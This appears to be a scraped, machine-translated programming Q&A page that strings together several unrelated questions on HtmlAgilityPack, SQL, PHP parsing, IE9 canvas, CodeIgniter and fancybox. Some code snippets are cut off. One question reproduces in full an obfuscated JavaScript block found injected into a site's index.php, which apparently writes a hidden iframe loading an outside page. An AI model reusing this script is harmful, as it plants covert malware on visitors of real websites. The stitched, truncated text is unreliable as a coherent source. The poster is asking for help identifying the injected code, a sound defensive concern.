在我的代码中,我想删除没有src值的img标记.我正在使用HTMLAgilitypack的HtmlDocument对象.我发现img没有src值并试图删除它..但它给了我错误集合被修改; 枚举操作可能无法执行.任何人都可以帮助我吗?我使用的代码是:
foreach (HtmlNode node in doc.DocumentNode.DescendantNodes())
{
if (node.Name.ToLower() == "img")
{
string src = node.Attributes["src"].Value;
if (string.IsNullOrEmpty(src))
{
node.ParentNode.RemoveChild(node, false);
}
}
else
{
..........// i am performing other operations on document
}
}
Run Code Online (Sandbox Code Playgroud) 嗨,有人可以帮助我关于SQL
我在表格中有这些数据:
date_added | location | status 2012-08-01 Manila 1 2012-08-01 Japan 1 2012-08-01 Cebu 1 2012-08-04 Manila 1 2012-08-04 Cebu 1 2012-08-04 Africa 1 2012-08-06 Manila 1 2012-08-06 Japan 1 2012-08-06 Cebu 1
如何在"马尼拉","日本","宿雾"中获取date_added结果并且状态= 1
在我得到日期之前,这三个数据必须存在.
结果应该是:基于此表
date_added 2012-08-01 2012-08-06
因为在2012-08-04'日本'不存在.
我当前的SAMPLE SQL:
SELECT date_added FROM TABLE WHERE location ='Manila' AND location ='Japan'
AND location ='Cebu' AND STATUS =1;
请帮助.....任何帮助将不胜感激
我正在尝试解析一个HTML文件,该文件具有可怕的(相信我,它是)HTML结构,由于这个和我缺乏知识,我无法编写自己的解析器.后来我尝试使用Simple HTML Dom解析器,因为很多人(也在SO上)推荐它.
我需要simple_html_dom.php,然后创建了对象.它们似乎工作,require()函数返回"1"和var_dump() - 对象返回一个对象.
在此之后,我尝试加载URL,就像在手册中一样,但是无论我尝试了什么URL,我都会遇到致命的错误.错误如下:
Fatal error: Call to undefined function mb_detect_encoding() in
/home/fema/web/subdomain/devel/www_root/parser/
simplehtmldom_1_5/simple_html_dom.php on line 988
Run Code Online (Sandbox Code Playgroud)
我检查了988号线上的内容,它是以下内容:
// Have php try to detect the encoding from the text given to us.
$charset = mb_detect_encoding($this->root->plaintext . "ascii",
$encoding_list = array( "UTF-8", "CP1252" ) );
Run Code Online (Sandbox Code Playgroud)
我知道这是关于字符编码的,但这就是全部.我还没有发现谷歌或SO上的任何相关信息.
我的整个代码是(占位符网址):
<?php
require('simplehtmldom_1_5/simple_html_dom.php');
// Create a DOM object
$dom = new simple_html_dom();
$dom->load_file('http://www.google.com/');
?>
Run Code Online (Sandbox Code Playgroud)
有人可以告诉我该怎么办?或者在发生类似这样的事情时给出某种建议.
提前致谢.
我正在播放video标签中的视频.视频文件与index.html位于同一目录中.然后我将视频像素放在a上canvas,对它们做一些逻辑,读取它们并放在另一个上canvas.这一切在firefox和chrome中运行良好,但在IE9中不行.当我尝试从画布读取像素时,IE会出现安全性错误.如果视频源自其他某个域,那么这是可以理解的,但事实并非如此.更令人好奇的是,当我将相关代码放入setTimeout或从控制台触发它时发生错误,而不是在脚本中直接调用它时.这是相关的javascript:
$(document).ready(function(){
fun = function(){
var main= $("#main");
var video = $('<video autoplay="autoplay">
<source src="orange.mp4" type="video/mp4" />
<source src="orange.ogv" type="video/ogg" /></video>');
video.css({"width" : 100, "height" : 200});
var canvas1 = $('<canvas></canvas>');
canvas1.css({"position" : "relative", "top" :0,
"width" : 100, "height" : 200, "background-color":"red"});
canvas1.attr({"width" : 100, "height" : 200});
var context1=canvas1[0].getContext("2d");
var canvas2 = $('<canvas></canvas>');
canvas2.css({"position" : "relative", "top" :0,
"width" : 100, "height" : 200, "background-color":"purple",
"margin" : "5px"});
canvas2.attr({"width" : 100, "height" …Run Code Online (Sandbox Code Playgroud) 我有一个带有一些"过滤器"的数据库; 即方法调用,并希望能够根据用户输入的内容动态调用它们.
Code Igniter似乎不喜欢这样,有什么想法吗?它输出:在GetEmailCountfilter_male_count()中:
<h4>A PHP Error was encountered</h4>
<p>Severity: Notice</p>
<p>Message: Undefined property: Targeted_Email::$filter_male_count()</p>
<p>Filename: core/Model.php</p>
<p>Line Number: 51</p>
{"emailCount":null}
Run Code Online (Sandbox Code Playgroud)
码:
public function getEmailCount($filter){
echo 'In GetEmailCount';
$result = array();
$query = $this->db->get('base_targeted_email_filters');
foreach ($query->result() as $row){
if($filter == $row->name){
$test = $row->filterCountFunction . "()";
echo $test;
$result['emailCount'] = $this->{$test};
}
return $result
}
Run Code Online (Sandbox Code Playgroud) 该脚本出现在我帮助的网站的index.php页面中:
<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>
Run Code Online (Sandbox Code Playgroud)
它似乎唯一要做的就是尝试打开页面时返回错误。我刚刚将其删除,但一切正常,但我们不知道它是如何到达那里的,以及是否应该做可能有害的事情。该网站托管在阿鲁巴(Aruba)上,两个可以访问该代码的人最近都根本不在该页面上工作。
我有PHP脚本和Facebook应用程序注册但应用程序将用户重定向到mypage.com/fblogin.php#access_token=FacebookToken
我怎样才能获得访问令牌?我试过$ _GET ["access_token"]和POST,但它没有用.
fancybox模式弹出窗口使用了一些javascript:
$("#PeoplePopup").fancybox({
'autoScale' : false,
'padding' : 0,
'width' : 800,
'height' : 600,
'transitionIn' : 'elastic',
'transitionOut' : 'elastic',
'type' : 'iframe',
'overlayColor' : '#000',
'overlayOpacity' : 0.5
});
Run Code Online (Sandbox Code Playgroud)
单击链接时触发的内容:
<a href = "peoplesearch.aspx" class="SmallWhite"
id="PeoplePopup">Search for Internal Contact details > </a>
Run Code Online (Sandbox Code Playgroud)
如何从多个链接调用相同的弹出代码?
每当我在模型中使用get_where时,它都会给我所有数据库条目,包括重复,当我使用get时它只给我第一个条目.但我想要所有不同的条目.任何人都可以帮助我.非常感谢!
Controler = site.php:
public function western_australia(){
$this->load->model("continents_get");
$data["results"] = $this->continents_get
->getMaincategories("western_australia");
$this->load->view("content_western_australia", $data);
}
Run Code Online (Sandbox Code Playgroud)
model = continents_get.php
function getMaincategories($western_australia){
$this->db->distinct();
$query = $this->db->get_where("p_maincategories",
array("page" => $western_australia));
return $query->result();
}
Run Code Online (Sandbox Code Playgroud)
view = content_western_australia.php
<?php
foreach($results as $row){
$page = $row->page;
$main_en = $row->main_en;
echo $main_en;
?>
Run Code Online (Sandbox Code Playgroud) 我在文本帮助器中使用codeigniter word_limiter()函数。
$string = "Here is a nice text string consisting of eleven words.";
$string = word_limiter($string, 4);
// Returns: Here is a nice…
Run Code Online (Sandbox Code Playgroud)
以上功能将输出限制为四个字。如何将限制后的单词也存储在变量中以供使用???
php ×6
codeigniter ×3
javascript ×3
mysql ×2
c# ×1
canvas ×1
collections ×1
dom ×1
facebook ×1
fancybox ×1
fatal-error ×1
html ×1
html-parsing ×1
html5 ×1
iteration ×1
security ×1
sql ×1